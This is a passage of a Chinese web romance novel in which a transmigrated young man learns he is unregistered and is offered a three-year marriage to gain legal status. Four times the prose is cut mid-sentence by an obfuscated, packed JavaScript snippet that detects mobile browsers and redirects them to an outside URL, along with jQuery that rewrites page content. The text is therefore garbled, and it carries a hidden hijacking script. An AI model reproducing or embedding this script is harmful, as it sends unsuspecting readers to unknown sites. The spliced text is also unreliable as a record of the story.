他羞涩一笑,“虽难登大雅之堂,但我瞧着公子性情豁达,雅俗共赏,亦不是什么端着藏着的主儿,故而便大胆了一回。” “那你也忒大胆了,”段澜觉也笑了,“人家那什么的事你打听得一清二楚,还张口就来,我让你说说你家四少爷,你嘴跟缝起来了似的。” “这怎能一样?” 四喜知道段澜觉时不时爱翻他旧账,也习惯了,只说自己能说的部分,“一心哥同阿生哥的美谈通府皆知,大少夫人还专门在院里腾出一处僻静的屋子供他二人休沐,实在是羡煞旁人。” “所以呢,你们羡慕嫉妒恨,就跑去听人家墙角了?” 段澜觉似笑非笑地瞧着四喜,“虽然八卦人家的房/事不太好,但我也真的很好奇,他们的那什么……谁上谁下,是他们自己说的,还是你们去偷听来的?” “自然是不敢偷听的。” 四喜给段澜觉戴上玉冠,对着镜子摆正,“这二位的功夫在府里是数一数二的,咱们若是凑将上去,还没走到门口,便该被二位哥一脚踢出来了。” “哦,那就是阿生自己说的咯?” “也不是,是有一日值守的兄弟瞧见了一些端倪,囫囵猜的。” 四喜在镜里和段澜觉对视,笑得意味深长,“只是那位兄弟同咱们说道时,长房的一等府卫沙卓哥赶巧也在,他既没否认,也没点头,兄弟们便心领神会,把这事坐实了。” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337436|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 段澜觉啧了两声,喃喃道,“你们这府里是不是风水不太好,男同也太多了吧……” “您说什么?” “没,我没说话。”段澜觉坐正,对镜眨了眨眼。 四喜将信将疑地看了他一眼,放下梳子转身,取了套绢白色的新衣过来。 “这是阿生哥昨夜送来的,正好今日公子试一试,瞧瞧合不合身?” “行。” 段澜觉像个奇迹暖暖般任由四喜摆弄,一边唾弃自己思想腐败一边甘之如饴。 “好了。” 四喜退开两步,看着穿上新衣服的段澜觉眼睛一亮,“公子真好看,在咱们府里将养了这些时日,血色好了,脸上也有肉了,同刚被抬进府那会儿大不相同了。” “真的假的?” 段澜觉被领到一面大的穿衣镜前,那镜虽把人照得极不清晰,可俊逸的气质却不曾抹灭半分。 这还是段澜觉穿越过来后,头一回这么仔细地端详这副新皮囊。 兰草的样子和他原本的样子不太像,一个瘦弱一个精壮,一个白皙一个黝黑。 但不知是受自己影响,还是兰草本身也年轻,铜镜中的人竟意外迸发着一股蓬勃的少年气,将他和兰草的气质完美地融合在一起,温和而不失傲气,憨实中掺着点机灵。 行吧,25岁重返17岁,虽然天不时地不利人也不和,但他好歹赚了一条命。 就当为兰草活下去,也得打起精神。 “不错,正好今天天气也好,”他整了整衣襟,臭美道,“不如咱们出门——” “公子!” 不知是阿门还是阿前在院里吆喝了一声,“表公子来了,说是要同您一起用午饭呢!” 表公子?世安? 栾世安下一秒便推门而入,后边跟着个书童,肩上还背着个大书箱。 “咦,兰兄才起来?” 栾世安来得多,几乎把段澜觉这屋当自己院子。 他一捋衣摆大马金刀往六仙桌前一坐,招呼不知道阿门还是阿前给他沏一壶冰镇的薏米汤来。 “太热了太热了,”栾世安把袖子捋起来,接过书童给他递的折扇疯狂扇着,“兰兄这院怎么这么偏?平日从我院里过来还没觉得什么,今日从书院直接过来,可要了我老命了,往后啊我得坐轿子,骑马过来才是。” 段澜觉觉得好笑,任由四喜给自己佩好腰饰才不紧不慢来招待他,“谁让你大中午过来了……之前不都是晚上吃过饭才来找我,今天怎么心血来潮?下午不上课?” “嘿,我这是心善!” 栾世安眉毛一竖,“小弟一得了消息便马不停蹄要来告知兰兄,兰兄倒好,站着说话不腰疼。” “消息,什么消息?” 段澜觉心下一紧,立马打起十二分精神,“哎呀我哪有不领你的情,这不是把你当朋友嘛!快说快说,有什么新消息?” 栾世安口干舌燥,说话间嗓子都是哑的,正巧不知是阿门还是阿前把薏米汤送了进来,段澜觉接过勺子便给栾世安舀汤,还顺便叫住了送汤的人。 “今天怎么就你一个人在?”段澜觉问,“你们兄弟俩不同时出现,我都分不清你们谁是谁了。” “回公子,兄长到小南湖捕鱼去了,您昨晚说好久没喝鲫鱼豆腐汤,他便想着给您捞一尾上来做汤。” 至于后一个问题,阿前想了想,十分认真回答道,“公子,小的是后开口的那个。” “……” 18. 转机(2) 得,和这俩活宝说话跟放屁似的,没一句是有用的。 段澜觉瞟了眼忍笑忍得辛苦的栾世安,无奈摆手,“算了,你先下去吧,我有空再琢磨琢磨。” “是!” 阿前端着盘子,顺从地退出房间。 “哈哈哈哈哈哈……” 栾世安终于忍不住笑出声来,边喝汤边看热闹,“诶,兰兄,自从二表嫂把这对活宝给了你,我瞧着你脸上笑容也比从前多了。不若把他们借我几日,一酬小弟读书之苦?” “想借人?” 段澜觉眼睛一眯,“那就别打岔,赶紧跟我说说听到了什么新消息!” “嘿,兰兄也忒没耐心了。” 栾世安喝完最后一口汤,放下碗,挥了挥手让四喜和书童先出去,鬼鬼祟祟道,“今日下学,我瞧见四表哥直奔杨学究而去,便觉奇怪。他素日沉默寡言,独来独往,即便有想法也极少私下找学究探讨,今儿怎么转性了? “于是我便悄摸跟了上去……你猜怎么着?” “怎么说?”段澜觉很给面子地睁大了眼。 “表哥竟向学究求了个位置,说是要把府里亲戚送入书塾,同咱们一块儿求学!” 栾世安一收折扇,往段澜觉手里一拍,“兰兄觉得,这个亲戚,是谁?” “?” 段澜觉面上露出一丝难以置信,“不会是,我吧……” “你看,连你也这么认为的!” 栾世安激动地又一拍扇,“咱们府里除了兰兄,再没进过什么新人了。我左思右想,这个亲戚只能是你,必须是你!” “也,不一定吧……说不定是哪个远房亲戚,托他办事呢?” 段澜觉只觉自己的表情在一寸寸崩裂,试图为梁蕴行的行为找补,“能给世家大族上课的老师必定声名在外,一席难求,所以有亲戚托人来问,也很正常吧……你表哥又古道热肠,顺手接下这桩差事……” “学究一席难求是没错,可兰兄啊,你太不了解我这位四表哥了。”栾世安竖起扇子,故作高深般晃了晃。 “……怎么说?” “说来唏嘘,我这四表哥幼时曾经历一些变故,被迫离府一段时日,回来后便变了个人似的,不爱说话,也不愿与人往来,一度只同大表哥一家亲近,近年来方好转了些。” 他叹了口气,“可即便好转,四表哥对待旁人仍旧十分疏离,就连姨父大人同姨母偶有不适,他也不过是晨昏定省循例问候,多一句话都不愿说。” “啊,怪不得……” 段澜觉蓦地想起那夜所见所闻,顺嘴一问,“那,他小时候究竟发生了什么,你知道吗?” “姨父姨母和表哥们对此事讳莫如深,而我那时还小,记忆都模糊了……” 栾世安又叹了口气,讪讪道,“总而言之,四表哥是绝无可能替他人做嫁衣裳的,别说远亲了,便是我这个近亲,求他办事还要掂量三分呢!” “所以,能让四表哥那么上心的,也只有兰兄了!” 栾世安忽而笃定异常,抬起扇子指着段澜觉。 “……” 段澜觉烦不胜烦地拨开脸前的扇子,紧蹙的眉心恨不得能夹死十只蚊子。 “不是,他到底怎么想的?”段澜觉忽一拍桌子,“谁要去读书了,他问过我了吗就替我做决定?” 栾世安收回折扇,一脸莫名,“四表哥没同你商量?” “没有啊!”段澜觉更莫名其妙,“自打谢恩宴过后,我就再没见过他了,栾夫人倒是来了几趟,还有你和你二哥二嫂…… “可你们每个人都对我今后的安排三缄其口,我想问也不知从何问起,就连我那对假惺惺的父母也没了踪影。我还纳闷呢,你家实在是——” “诶,兰兄不知道吗?” 栾世安瞪大双眼,表情由困惑转为吃惊,“兰家夫妇已然被四表哥着人打发出去了,算算日子,如今他们应当已经回到兰家村了吧……” “什么???” 段澜觉腾地起身,眼睛瞪得有如铜铃,“啥时候发生的事?你们都知道,就我一个人不知道?” “呃,兰兄先坐下先坐下,喝碗薏米汤消消气……” 这下轮到栾世安给段澜觉舀汤下火了,他边舀边观察段澜觉的神情,在眼神交汇的一刻挤出一抹讨好的笑。 “我也是前日才知晓,即便那时同你说,也无力回天了……” 栾世安把汤盏放到段澜觉跟前,赔笑道,“四表哥向来是个有主意的,兰兄若至今不知,说明他使了些法子瞒住你,故意不让你知晓。 “可兰兄往好了想,四表哥这么做,肯定也是为了你好呀!” 栾世安双手交叠趴在桌上,一双狗狗眼向上挑,认真地睨着段澜觉,“兰兄想啊,你为人良善宽厚,若那对夫妇同你见了面,又说出什么话来惹你心软,这可如何是好? “若叫他们钻了空子,继续欺骗你、作践你,还利用你拿捏住梁家……这不是平白生出许多事端来嘛?” “……” 段澜觉不想承认栾世安分析的是对的。 若他真是“兰草”,梁四这一招无异于釜底抽薪,彻底断了兰草同那家人的联络,一干二净。 如果他是梁四,他也会这么干的。 可他不是梁四,也不是兰草。 “我是好人,但我不是傻子……” 段澜觉无奈地仰了仰头,叹了口长长的气,“算了,人都已经送走了,再说这些也没意义……那四少爷把他们打发出去,然后呢?他是怎么打算的?” 他至今没忘记那夜的感受——一次次燃起希望,又一次次希望落空,叫他被现实摔了好几个大马趴,还得骂骂咧咧站起来,满怀悲愤地活下去。 “唔……我并不明白四表哥的用意。” 栾世安挠挠头,“按理说,若是要叫他们与你一刀两断,便该将他们留下,到户部和衙门处过了文书才是,可偏偏他把人送走,还派贴身府卫沙杨亲自跟了过去,也不知是护送,还是监视。 “但我相信,四表哥这么做,定有其道理!” 栾世安突然支棱起来,睁着圆溜溜的眼睛道,“兰兄便信四表哥一回吧,此事你别再管了,安安心心读书便是!” “安安心心读书……” 段澜觉干笑着复述了一遍,有气没力地往前一趴,卧倒在六仙桌上。 不是说他是个大麻烦吗? 谢恩宴那晚,利弊分析得一清二楚,叫他已经断了留下的念想……现在又算怎么回事? 梁蕴行也心软了? 他眼睛骨碌碌转着,任由思绪放空,收拢,放空,再收拢…… 一旁的栾世安也沉默下来,安静地喝着他那碗薏米汤。 咕嘟嘟的声音与屋外的蝉鸣交织于一处,意外重叠出叫人昏昏欲睡的白噪音。 沉寂良晌,段澜觉闭着的双眼倏地睁开。 “不行,我得去找他。” 他得找梁蕴行问问清楚,到底要怎么安排自己。 是走或是留,他有知情权,也应该夺过自己命运的主宰权。 · 时逢酷暑正午,梁蕴行自然待在院里。 段澜觉风风火火赶来时,他正捧着一本书,半倚在罗汉床上细细地看。 “梁蕴行,梁蕴行! “你给我出来!我有话要问你!” 梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337437|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕴行蹙了蹙眉,微一侧目,从窗缝中看了出去—— 段澜觉正站在院子中央,叉着腰满脸通红,却中气十足。 额角沁满一排汗水,叫他看上去颇为狼狈,可他依旧不管不顾地立于中庭,任由正午的阳光蒸腾着他那副纤瘦的躯体。 那双又黑又亮的眼睛炯炯地盯着房门,叫梁蕴行蓦地想起掉入猎坑那日,一头白色的小虎兽曾路过陷阱边缘,探头看过他一眼。 四院的奴仆们三三两两靠着墙根交头接耳,四喜就站在段澜觉身后,满脸局促地盯着自家主子,想劝又不敢劝。 “梁老四——你有本事瞒着我,你有本事出来啊—— “大中午的你给老子装死是吧……快出来给我说清楚,你到底在搞什么飞机!” 砰—— 门开了。 梁蕴行目色如渊,与段澜觉的视线正面相迎。 “。” 时隔多日再次撞上梁四的目光,段澜觉莫名有点发怵,却也没输了气势,“你什么眼神,我吵你午睡了?” 梁蕴行没开口,盯着他看了好一会儿才道,“你虽是我恩人,却也不是什么话都可说的。” “我说什么了?” 段澜觉眉毛一竖,正想开怼,却被身旁的四喜碰了碰手肘。 “公子,”四喜将声音压得极低,“您方才说,‘老子’……” “……”操,说习惯了。 段澜觉紧急一个撤回,差点咬了舌尖,“行,我说话粗鄙,是我不对,给你道歉。 “可你没打个商量就把我送进学堂,还把我父母打包送走……这难道就是你的礼貌,你梁四少爷的待客之道?” 梁蕴行似乎并不惊讶他来找自己说事,背过身向屋内走去,“进屋再说。” ……进就进,谁怕谁。段澜觉一边腹诽一边抬腿。 进了屋,四喜十分知趣地从屋外拉上房门,把二位主子单独留在屋内。 段澜觉进门后下意识打量四院的主厅,发现这主厅也没比客舍的主厅大多少。 也就是说,自打栾夫人把客舍西院整个给了他,他的住宿待遇便跟这些少爷几乎齐平了。 这么一想,他心中顿时萌生出一阵怪异感。 这感觉最早出现在一心给他送奴仆那会儿。 他一直觉得自己呆不长,却莫名其妙接收了比从前多出一倍的奴仆,还白白得了四喜和阿门阿前三个得力干将。 梁府的举措似乎一再向他传递一个信号——没人要把你攘出去,你安心住着就好。 可他怎么可能安心呢? 段澜觉清了清嗓,见梁蕴行倒了盏清水,意识到那是用来招待自己的。 “不用客气了,我来——” 他眼睁睁看着梁蕴行把那碗水一饮而尽。 “……” 梁蕴行搁盏上座,面上依旧是那张扑克脸,“学堂,兰氏,你是要问我哪一件?” “……都问。” 段澜觉咬牙看着那盏空碗,默默捏紧了拳头,“你两件都说,是会死还是怎么着?” 梁蕴行依旧面无表情,却端了端坐姿,“那夜你躲在廊角偷听,事情的来龙去脉和往后的隐忧,心中应当有数了吧。” “???” 段澜觉霎时脑子一空,脊梁猛地爬上一股战栗—— 他知道了! 他居然知道他在偷听!! 梁四好整以暇地觑着他的神情,将他的反应尽收眼底。 “既是有数,我便也不再赘述了。” 他撩起眼,“你如今看到的,便是我为你选的第三条路,也是唯一一条能让你活得体面,又不必受兰家夫妇桎梏的路。” 19. 转机(3) “第三条路,什么路?” 段澜觉看着梁蕴行一脸高高在上的模样,强忍住想打他的念头,追问,“你这说一半不说一半的,是要让我自己猜?” 他该不会觉得,自己会在这句话之后,感恩戴德,涕泗横流,对他行五体投地之礼吧! 不料梁蕴行认真想了想,说出了一句更加欠揍的话:“你大可一试。” “……” “学究问我你是否开蒙,资质几何,我皆答不上来,”梁蕴行瘫着个脸道,“而今你若能猜出我的盘算,也算是个读书的苗子。” “……谢谢您的抬举啊。” 段澜觉露出迷之微笑,拳头捏出“嘎吱嘎吱”的脆响,“我猜不到,也不想猜。您满意了吗? “以及,你再这么继续故弄玄虚下去,我就要动手了哦——” 梁蕴行好似没料到这个弱柳扶风的男子竟能说出这样豪情壮志的话语,好整以暇地冲他挑了挑下巴。 段澜觉维持着这个假笑的动作,走到偏座前一屁股坐上去,眉一挑眼一斜,道,“当然了,咱们文明人的‘动手’,用不着上拳脚刀剑。 “我只需在你房里‘摔’个大马趴,然后死活不起来,哭天嚎地,叫全府人都知道——你打了我,恩将仇报。” “……”梁蕴行眼角抽了抽。 “所以,现在把你的计划告诉我,不许再卖关子。” 段澜觉一秒板正了脸,“然后,为你的擅作主张和目中无人,向我道歉!” · 四喜垂手立于门外,听着屋内的争吵,逐渐皱起了眉。 他扬起目光四处张望,果然看到了正在库房内张罗的四宝,于是抬脚朝他走去。 “四宝。” “四喜哥?” 四宝面露诧异,“您怎么得空来了,兰公子那边让您来传话吗?” “兰公子也来了,如今正在房里,兴师问罪呢。” 四喜不欲闲话,“我问你,四少爷到底是如何盘算的?为何自己做主,把兰公子送入学堂,又将兰家两位长辈送出府去?” 他满脸忧色,“四少爷把我送过去的事,兰公子还生着气呢,我瞧着这回若再不给他一个交代,怕是要叫两位主子彻底离心了。” “啊?您被兰公子……发现了?” 四宝一脸震惊,“那那那您没被他——” “只叫他知道了我是四房一早送过去的人,其余的事,我瞒下了。” 四喜眸光微微暗了暗,“横竖,四少爷也不是要叫我过去害人,只是让我多帮衬着院里的活计,顺便放出‘谢恩宴’的消息,探探兰公子的心思…… “但观鹤亭一遇,他亲耳听闻兰公子对婚事并无算计,一切皆是兰家夫妇的盘算,便也没了后话。” 说罢他抬眼道,“我是蒙混过关了,可眼下四少爷又折腾出这些事,我在那头看着着急,却一句话也说不得……你同我说说,这到底是怎么回事?” “我也,不知道啊……” 四宝一脸无辜,“四少爷为人您是最清楚不过,他素来说一不二,想好了的事便悄没声地去做了,哪里会同咱们这些人说道……” 他努了努嘴,“这回也是,那夜他突然把沙杨叫进房,隔日沙杨便不见踪影,我还是晌午才知,兰氏夫妇被他一并送了出去。 “您说,我能晓得些什么?” 四喜眉心紧蹙,恨铁不成钢地看着四宝,“四宝,你如今是除沙杨以外,四少爷身边唯一的近随了,若遇事还是如此不机灵,怎能伺候好主子?” 他叹了口气,“主子们的事,咱们做仆奴的自然不好打听太多,可你与旁的仆奴不同,你是心腹,应是主子的唇舌与刀剑,若四少爷拿不定主意,你便该献计献策,助其一臂之力;若他主意太过,你便应挺身而出,冒险规劝,而非像如今这般,得过且过啊……” “四喜哥……” 四宝被说得都快哭了,眨巴着眼道,“我,我与您不同,打小便胆子小,只晓得做事不晓得说话……且四少爷性子有多倔,您也是知道的呀!” 他吸溜了一下鼻子,“年前他心情忽然不爽快,非不听你劝,只身到深山老林里跑马,马儿误食毒物死了,他也掉入了猎户的陷阱,还差点——” “不许胡言!” 四喜瞪了四宝一眼,叫人幽幽闭上了嘴。 他又叹了口气,心中百感交集——是了,说是规劝,实则又有什么用? 往日四少爷便是这般沉默又执拗地执行着他认为对的事,谁的意见都不顶用。 可四少爷的偏执从来只对自己,面对旁人之事他从未插手,还落得一个沉稳守拙的好名声,为何这回…… 四喜暗忖许久,继而舒展眉头,露出一个颇为意外的神情。 · 屋内,一主一客正瞪着彼此,眼神却大相径庭,一个幽深莫测,一个不服就干。 “你知道你现下,户籍何处吗?”梁蕴行忽而开了口,表情凝肃。 “户籍?” 段澜觉不明白他为什么突然提起这个,蹙眉想了想,“不在兰家村?” “也不在令尊殒身之地云州,更不在其原籍温州。” 梁蕴行停顿片刻,随即扔出一发惊天炸雷,“如此,你便是个逃户,无户无籍,无根无源。” “啥???” 段澜觉惊得舌头都僵了,“兰……我,我居然,是个黑户?” 那对夫妇什么人啊这是! 收养兰草那么多年,钱也捞了活也干了,居然连个户籍都不愿意给他办! “据我推断,令堂令尊离家时年纪尚轻,彼此皆不习得家中琐务,又常年云游在外,说不准连婚事也——” 梁蕴行难得一顿,话到嘴边咽了下去,转口道,“你出生后,便未能上报官府,登录户籍。” “你是想说,我父母是私定终身,连个正经的婚事流程都没走完,对吧?” 段澜觉不是当事人,并不避讳这些,只是发愁,“你这么推测也有道理,可我难道一直就这么黑着吗?官府没人做人口普查的吗?” 梁蕴行眼底闪过一瞬疑惑,抬眼看了看他,半晌才收回眼神,幽幽道,“补全户籍一事并非小事,需耗费大量的财力与人力。兰家夫妇不想费心费神,索性花点小钱买通庄头,在官府盘查人口时隐而不报,也在情理之中。” 又缓缓来了一句,“只是这样一来,你便不算是兰家人,他们没有立场继续纠缠你,你也不必对他们,承担奉养之责了。” “嗯?” 段澜觉本来还沉浸在自己是黑户的忧伤当中,闻言一愣又一惊,从天而降的喜悦迅速席卷了他。 他忍不住爆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337438|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了句粗口,“我操!还有这等好事???” 见梁蕴行脸一黑,他又呸了两下,喜不自胜,“那,那这事不就简单了吗?我既是自由身,也可以找个庄子,给庄头塞点钱,然后美美隐身不就好了!” 说着他身子往前一倾,“那什么,我先说好啊……这个钱得你出,还得多给我一点。 “就当作救你一命的报酬好了。” 他蓦地一笑,对梁蕴行露出了难得的好脸色,“只要清了账,咱俩就桥归桥,路归路,我可以对天发誓,即便有一天我没藏好被逮了,也绝不会把你们爆出来……这样的承诺够意思吧!” 梁蕴行似被这人的笑晃花了眼,他一垂眼皮,在段澜觉盘算着要多少钱时淡淡开口:“想得倒美。” “但你可知,隐瞒逃户,轻则全家收监,没收所有财产、田地、仆奴,重则打板子、流放……” 他一个词一个词地蹦,声音越来越沉,“若所藏逃户为犯上作乱的流寇或其亲属,则一家死罪,全族受其牵连。” “啥?” 段澜觉俩眼一瞪,只觉自己快被梁蕴行折腾出神经病了,俊美的五官顷刻揪成一团。 “那,那兰家村的庄头怎么敢——” “他被骗了。” 梁蕴行盯着地板,声音不带任何起伏,“兰家卡着官府盘查人口的前夕‘接回’了你,只同庄头说你的户籍仍在原籍办理,文书过些时日方能下来,又给庄头塞了点银子,叫他这回先别把人报上去。 “庄头见钱眼开,又见他们确实缴清了一年的税赋,桩桩件件都同传闻对得上号,便信以为真,替他们瞒了一回。” 他蓦一舒展坐姿,抬眸道,“可有一便有二,只要瞒过一回,而后便算是同党,即便庄头后来发现不对,也不敢同官府自首,拿身家性命去赌,只能在每年官府盘查之日,叮嘱他们将你藏好,由他来替兰家瞒将下去。” “你这对养父母,当真是人中龙凤,算无遗策啊。”梁蕴行轻轻一哂,讥讽道。 “……” 他妈的,他到底是什么运气能投胎到这种人家里? 段澜觉只觉自己像一个来来回回鼓气的皮球,无论是内里还是表皮都满布着细细的皴裂,笑不出,也哭不出了。 “你都查到这了,怎么不干脆把他们都拱出去,让他们都去死好了。” 段澜觉心如死灰,言语间也带了点恹恹,“哦,这样一来,他们隐瞒的那个逃户,也就是我,也难逃一死是吧。” 梁蕴行罕见地认可了他,“于情于理,你既是逃户,也算这对夫妇未记名的养子,双罪并罚,你的确难逃重惩。” “呵,那现在怎么办。” 段澜觉没骨头似的摊在椅子上,“告发他们,我得连坐;不告发他们,我也活不下去…… “大邹的逃户一般怎么处置啊……流放,砍头?” 梁蕴行俯视他一副蔫巴了的模样,如念经般平铺直叙道,“轻则入贱籍,流放八百里,非特许文书终身不得入良民户;重则充军塞外,在边疆做苦役,非死不得归。” “哦,比我想象中好一点,好歹还有个‘轻则’呢……” 他抬起一边手遮了遮眼,忽而有点鼻酸,又觉气上心头,怎么想怎么不值。 “不是,整个大邹那么多人呢……难道只有我一个人是黑户吗?” 20. 转机(4) 一股无名的愤怒袭来,段澜觉倏地挺直了腰板。 “难道全天下只有我父母不知道落户的手续? “满大邹这么多人,难道官府不能给百姓行个方便,补充登记什么的吗? “这是什么破朝代,破官府啊!!!” 最后一句,他几乎压着嗓子嘶吼,叫梁蕴行蓦地抬了抬眼。 “我从未说过不能。” “?” 轻飘飘七个字,叫段澜觉登时呆住了。 什么意思,耍我? 但他不是刚闯进来什么也不知道的愣头青了,当下便意识到:这七个字背后,必定蕴藏着巨大的条件。 “那你说,怎样才能恢复我的身份?”他瞪着梁蕴行,没好气道。 “我只说能,并未说,你能。” 梁蕴行平静地看着他,不带任何感情地陈述道,“令尊令堂游历山川,几乎每几日便换一个住处,且多爱僻静之处,故我寻访至今,仍未寻到你的出生地,更寻不着为你接生的稳婆和大夫。 “而汝之大名又未入宗祠族谱,父母婚嫁亦未经族老见证,连是否有婚契文书都未可知……” 他蓦一抬首,“世上没有任何物件,任何人能证明你的身份,你让户部,如何为你登录户籍呢?” “……” 段澜觉两眼一黑,只觉天旋地转,四肢百骸顷刻僵如冷铁。 怎么办? 怎么办怎么办…… 真的走到绝路了吗?就这么眼睁睁看着自己沦为物件,或被发配边疆,在苦役之下活活累死吗? 一定有别的办法,一定有的……对,梁蕴行! 他刚刚说了,他有“第三条路”,能让自己活得体面自在! 段澜觉倏地抬头,对上梁蕴行睥睨的目光。 “你有办法的,对吧?” 他顾不上评判梁蕴行对他悲惨遭遇的冷血冷心,迎着那道毫无感情的视线咽了咽嗓子。 “你兜这么大一个圈让我了解前因后果,肯定不是要向我展示一条死路,你没那么有空……你想要什么?” 他顿了一下,眼珠一转,犹疑道,“这样吧……只要你能帮我,帮我恢复良民身份,我也不图你家的钱了,你就把我丢出去,自生自灭就行。” 梁蕴行极罕见地露出一个复杂的目光,眼波微动,不知在想些什么。 “这样也不行吗?” 段澜觉见他不开口,倏地站了起来,“还是说你要我立个字据什么的,保证不诋毁梁家声誉——” “除了补录,确有旁的法子能恢复良民之身,”梁蕴行扬声打断他的话。 “其一,是参军。 “参军与充军虽一字之差,身份却天差地别,因而逃户若主动参军,须军中或朝中有人保荐,或展现其军事才能及身手,方可顺利过关,逃过一责。” 他平视着段澜觉,不带任何起伏地阐述,“朝廷想出此招,原是为了招安流寇,平复动乱,充盈军队。待这些人解甲而归,朝廷亦会按军功分配军田,叫他们有地可种,如此一来,这些流寇自不愿在荒山野岭里折腾了。” “呃,所以你要保荐我,去参军吗……” 段澜觉一时语塞,自知没有任何军事才能,连做饭都不会,进了军队估计连伙头兵都不配,“先说好啊,这么做要是给你或梁家丢人了,我可不——” “其二,是嫁人。” “?” 梁蕴行似看不见段澜觉脸上的怔愣,表情依旧无波无澜,“女子不可参军,比男子少了个正经的活路,然,若有良籍及以上者为其作保,愿聘其为正头的夫人,户籍自可落入夫家。” 段澜觉听及此处眉头一皱,有点嫌恶地抬起眼,想了想又把话忍了下去。 “反正,现在我只有第一条路可走了呗?” 他低下眼,极为认真地考虑着这个建议,嘴里念念有词,“也不是不行,比起流放或充军,参军好歹能搏条出路,即便冲锋陷阵死了,总好过被人拉去当人肉水泥吧……” “……” 梁蕴行不语,只默默注视着他,半晌才道,“我的意思,是让你嫁给我。” “?” 段澜觉几乎以为自己的耳朵坏了。 他瞪着眼,与那双狭长的凤眸对上,忽而心“突突”了好几下,脸一下涨得通红。 这算什么……求婚吗? 他为什么要让我嫁给他?哦嫁人可以入户籍……可他不是讨厌我吗? 他折腾这么多事,不就是为了甩脱这门婚事……怎么还上赶着跟我结婚啊? 霎时间,万般思绪涌入段澜觉的脑袋,一脑门问题如滚水冒泡“咕嘟”个不停,叫他一时手足无措起来。 一阵难言的尴尬过后,段澜觉终于艰难地开了口,问的却不是脑海中任意一个想不通的问题。 “男的,也能靠嫁人……落户吗?” 梁蕴行似对他憋半天憋出这么一句深感意外,迟滞片刻才道,“男子嫁人落户,确未有过先例。 “但自贤宗继位以来,民风兼达,娶男妻者众,恰逢我大哥的同门现任大理寺丞——” 梁蕴行微一抬颌,“若由他出面,提请大理寺修缮相关律例,将男妻落户入籍一事纳入其中,想来,不是什么难事。” “哦,呵呵。” 段澜觉扯了扯嘴角,还是没绷住,把心里话说出了口。“这是哪个人才想出的妙招啊…… “一个被迫黑户的人,居然要靠结婚来获取自己的社会地位?当真是消除了社会的不稳定因素,又增加了稳定的筹码哈!” 梁蕴行听出他语气中的讥讽,不置可否道,“此律颁布至今,除为寇者从良归顺以外,平头百姓实施者寡。 “盖因旁人或有人证,或有物证,补录皆有所依;而为寇参军者,父母妻儿皆因其从良,全家得入良籍,无需大费周章。” 他上下扫了眼段澜觉,“如你这般,出身来历一片空白之人……着实不多。” “……” 段澜觉感觉自己被冒犯了,却不得不承认他是对的——如果没有这么麻烦,兰家夫妇早就去给他登记户籍了,何必非要冒险留了他这个黑户十一年? “所以,你,你——”真要娶我? 尴尬后知后觉地浮了上来,段澜觉有点难为情,又觉对不住他。 “不行不行,这不跟我养父母的计划一样了嘛……”他疯狂摇头,“就算他们已经得不到好处,你摊上我也是一身臊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337439|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,何必呢?” 他悻悻道,“呐,我可从来没让你以身相许啊……” “那,你要参军?” 梁蕴行再度上下打量他瘦弱的身板,“恐怕还未同敌军对上,你便被身上的佩刀压死了吧。” “……” 段澜觉眼里“噌”一下冒出两团火,方才的难为情顷刻烟消云散。 “梁,蕴,行——”他咬牙切齿道,“你真的没因为嘴贱被人打过吗?” 梁蕴行一嗤,以眼神代替了他未说出口的话——谁敢? 又慢条斯理道,“你不必忧心梁家会被你连累,一来我要娶你,自会将一切事务料理好,不会叫梁家的声誉损失分毫;二来——” 他顿了顿,“三年后,我与你和离,你便可另立门户,此后嫁娶两不相干。” “……还能这样?” 段澜觉瞪着眼,将信将疑,“为什么是三年,一年可以吗?或者,一个月?” “……” 梁蕴行眼神莫名冷了些,沉着脸道,“《邹律》言,凡女无籍者,适人从夫籍。三载内和离或见出,当除夫籍,限三月内更适;逾三载和离或见出,且有常所者,得别立户,同齐民例。” 什么什么巴拉巴拉…… 这人张嘴便是一堆文绉绉的律法知识,叫段澜觉听不懂也不敢开口问。 